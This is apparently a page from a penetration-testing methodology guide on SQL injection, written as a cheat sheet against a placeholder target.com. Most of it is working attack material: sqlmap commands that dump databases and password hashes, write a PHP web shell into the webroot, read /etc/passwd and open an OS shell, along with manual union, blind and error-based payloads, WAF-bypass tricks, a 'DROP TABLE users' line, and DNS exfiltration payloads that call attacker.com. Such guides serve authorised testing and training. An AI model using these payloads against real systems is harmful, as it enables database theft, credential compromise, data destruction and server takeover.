SQL Injection
Sections SQL Injection
Find injection points, confirm, extract, escalate to RCE.
T=https://target.com
i. Where it lives
Anywhere user input ends up in a SQL query:
- URL parameters (
?id=1,?search=x) - POST body fields
- JSON keys and values
- HTTP headers (User-Agent, Referer, X-Forwarded-For occasionally logged into DB)
- Cookies
- Anywhere you see numeric IDs, sort/order params, filter fields
- Search forms (especially with LIKE clauses)
- Login forms (auth bypass via
' OR 1=1--) - Second-order points (data stored then later used in another query unsafely)
ii. Quick detection
Test these on every parameter, even ones that look “non-injectable”:
' → 500 / SQL error in body
" → similar
\ → escape attempts may leak
1' OR '1'='1
1 AND 1=1
1 AND 1=2 → different response from 1=1 = blind boolean injection
1' AND sleep(5)-- → 5 second delay = time-based blind
Burp Scanner (passive + active audit) catches obvious cases. For mass-fuzz across many endpoints:
sqlmap -m urls.txt --batch --random-agent --level=2 --risk=1
iii. sqlmap, the workhorse
Default and most common patterns:
## Single URL with GET parameter:
sqlmap -u "$T/product?id=1" --batch
## POST request body:
sqlmap -u "$T/login" --data 'user=admin&pass=x' --batch
## JSON body:
sqlmap -u "$T/api/search" --data '{"q":"test"}' --headers='Content-Type: application/json' --batch
## With cookie / session:
sqlmap -u "$T/profile?id=1" --cookie 'PHPSESSID=abc; auth=xyz' --batch
## Header injection:
sqlmap -u "$T/" --headers='X-Forwarded-For: 1*' --batch
## (* marks the injection point)
## Test all parameters (level=5 risk=3 = maximum, slow):
sqlmap -u "$T/api?id=1&sort=name" --batch --level=5 --risk=3
Save the request from Burp and feed it:
## In Burp: right-click request -> Copy to file -> request.txt
sqlmap -r request.txt --batch
sqlmap -r request.txt --batch --level=5 --risk=3
Useful flags:
--current-db ## what DB are we in
--current-user
--users ## DB user list
--passwords ## DB user hashes
--privileges
--dbs ## list databases
-D somedb --tables
-D somedb -T users --columns
-D somedb -T users --dump
--dump-all --exclude-sysdbs
--technique=BEUSTQ ## B=boolean, E=error, U=union, S=stacked, T=time, Q=inline
--dbms=mysql ## skip DBMS detection if known
--threads=10 ## parallel requests
--prefix='" AND' --suffix='-- -' ## manual context override
--tamper=space2comment,charunicodeencode ## WAF bypass tampers
--proxy=http://127.0.0.1:8080
--random-agent
--delay=2 --timeout=15 ## slow it down to avoid detection / rate limits
When sqlmap finds an injection but can’t dump:
sqlmap -r req.txt --technique=T --time-sec=3 --threads=1 ## time-based often slower but works
sqlmap -r req.txt --string="welcome" ## tell sqlmap what a successful response looks like
sqlmap -r req.txt --not-string="error"
iv. sqlmap to RCE
When you have admin-level DB access, sqlmap automates the foothold:
## OS shell (uses DBMS-specific tricks):
sqlmap -r req.txt --os-shell
## File write (PHP web shell into webroot):
sqlmap -r req.txt --file-write=/tmp/sh.php --file-dest=/var/www/html/sh.php
## File read:
sqlmap -r req.txt --file-read=/etc/passwd
What works per DB:
- MySQL: needs
FILEprivilege, often available for root.SELECT INTO OUTFILE, UDF ifsecure_file_privallows. - PostgreSQL ≥ 9.3:
COPY FROM PROGRAM= direct RCE, no extra setup. - MSSQL:
xp_cmdshellif enabled, sqlmap re-enables it if config rights present. - Oracle: harder, needs DBA privs for
DBMS_SCHEDULERor Java stored proc.
v. Manual injection patterns
When sqlmap fails (custom WAF, weird encoding, multi-step), manual is the way. The base patterns to know:
Boolean blind
Compare two queries: one that should be true, one false. Different responses confirm injection:
GET /search?id=1 AND 1=1
GET /search?id=1 AND 1=2
Extract data char-by-char via comparison:
?id=1 AND SUBSTRING((SELECT db_name()),1,1)='a'
?id=1 AND ASCII(SUBSTRING((SELECT db_name()),1,1))>97
Time-based blind
When no visible difference, use sleep functions per DB:
MySQL: SLEEP(5) ## also BENCHMARK(5000000,MD5('a'))
PostgreSQL: pg_sleep(5)
MSSQL: WAITFOR DELAY '0:0:5'
Oracle: dbms_pipe.receive_message(('a'),5)
SQLite: CASE WHEN ... THEN randomblob(100000000) ELSE 0 END
Error-based
Force a specific error that includes data:
MySQL: AND extractvalue(1,concat(0x7e,(SELECT version())))
PostgreSQL: AND 1=cast((SELECT version()) as int)
MSSQL: AND 1=convert(int,(SELECT @@version))
UNION-based
Match column count and types, then read data:
?id=1 ORDER BY 1--+ ## ok
?id=1 ORDER BY 9--+ ## error = 8 columns
?id=1 UNION SELECT 1,2,3,4,5,6,7,8--+
?id=-1 UNION SELECT 1,table_name,3,4,5,6,7,8 FROM information_schema.tables
Note: -1 for the original id forces the first part of the UNION to be empty, only your row returns.
vi. WAF / filter bypass
Quick tampers when sqlmap reports a WAF blocking payloads:
sqlmap -r req.txt --tamper=space2comment,between,charunicodeencode
sqlmap -r req.txt --tamper=randomcase,charencode,space2hash
## List all tampers:
sqlmap --list-tampers
Common manual bypass tricks:
- Comments to break keyword detection:
UNI/**/ON SEL/**/ECT - Case randomization:
uNiOn sElEcT - URL-encoded spaces (
%20), tabs (%09), newlines (%0a,%0b,%0c,%0d) - Inline comments split keywords in MySQL:
UN/*!*/ION - Backticks in MySQL:
SELECT 1 FROMusers`` \Ninstead of NULL- Hex encoding for strings:
0x61646d696e='admin' - Stacked queries on supporting DBs (MSSQL, PostgreSQL):
'; DROP TABLE users--
vii. DB fingerprinting one-liners
When testing manually, identify the backend first. Quick tests:
## MySQL: ?id=1 AND 1=1 works
## MySQL: ?id=1 AND @@version returns version in error
## PostgreSQL: ?id=1 AND version()=version()
## MSSQL: ?id=1 AND @@SERVERNAME=@@SERVERNAME
## Oracle: ?id=1 AND ROWNUM=ROWNUM
## SQLite: ?id=1 AND sqlite_version()=sqlite_version()
Or look at error messages - each DB has distinctive error syntax.
viii. NoSQL hybrid stacks
When the app uses MongoDB / Couchbase / Elastic, sqlmap doesn’t apply. Jump to WEB04 NoSQL Injection .
If unclear which type, try both:
' → SQL error suggests SQL
{"$ne":null} → behaves like wildcard suggests NoSQL
ix. SQL Injection in second-order spots
When the immediate response is clean but the data is used later:
- Registration form takes username, profile page later queries it
- Search history saved to DB, displayed on dashboard with another query
- Logging endpoints that re-query log data for analytics
Test by storing a payload then triggering the second-stage query. sqlmap supports this:
sqlmap -r register.req --second-url "$T/profile/me" --batch
x. ORM-specific bugs
Even ORMs leak. Common patterns:
- Hibernate HQL injection:
ORDER BYclauses, raw query methods - Django QuerySet
extra()with user input - SQLAlchemy
text()with f-strings - Sequelize raw query
These look like ORM calls but pass user input to a raw query string somewhere. Search the source for raw( / text( / executeSQL / query( if you have code access.
xi. Tricks worth knowing
Boolean shortcut via 0x ascii
For extracting one char at a time:
AND ASCII(SUBSTRING(...,1,1)) BETWEEN 64 AND 96 ## upper case?
AND ASCII(SUBSTRING(...,1,1)) BETWEEN 96 AND 128 ## lower case?
## Binary search down to exact char
Out-of-band exfiltration
When in-band blind is too slow, exfil via DNS:
MySQL: LOAD_FILE(CONCAT('\\\\',(SELECT version()),'.attacker.com\\x'))
MSSQL: EXEC master..xp_dirtree '\\attacker.com\x'
Oracle: SELECT UTL_INADDR.get_host_address((SELECT version FROM v$instance)||'.attacker.com')
PostgreSQL: COPY (SELECT ...) TO PROGRAM 'nslookup attacker.com'
Set up an OAST listener with interactsh or Burp Collaborator.
Test stacked queries by writing then reading
On MSSQL / PostgreSQL:
'; INSERT INTO temp VALUES('test')--
## Then read back via select. Confirms stacked queries work and gives RCE potential.
Polyglot for unknown DBs
SLEEP(5)/*' or SLEEP(5) or '"XOR(SLEEP(5))OR"*/
Triggers time delay on MySQL/PostgreSQL/MSSQL with one payload.
–csrf-token in sqlmap
For protected endpoints:
sqlmap -r req.txt --csrf-token="csrf_token" --csrf-url="$T/login"
xii. References
- PortSwigger - SQL Injection cheat sheet - best single page reference
- PortSwigger - SQL injection labs
- PayloadsAllTheThings - SQL Injection
- HackTricks - SQL Injection
- sqlmap user manual
- sqlmap tamper scripts reference
xiii. Where it leads
- Authentication bypass → straight into WEB02 Auth & Session account takeover
- DB dump → cred reuse spray across all auth surfaces, see AD05 Password Spraying for the wider domain spray
- File write privilege → web shell → 04 Initial Access (Linux) or W01 Recon & Enum (Windows)
xp_cmdshell/COPY FROM PROGRAM→ direct RCE- Internal hosts mentioned in DB → pivot target list for Pivoting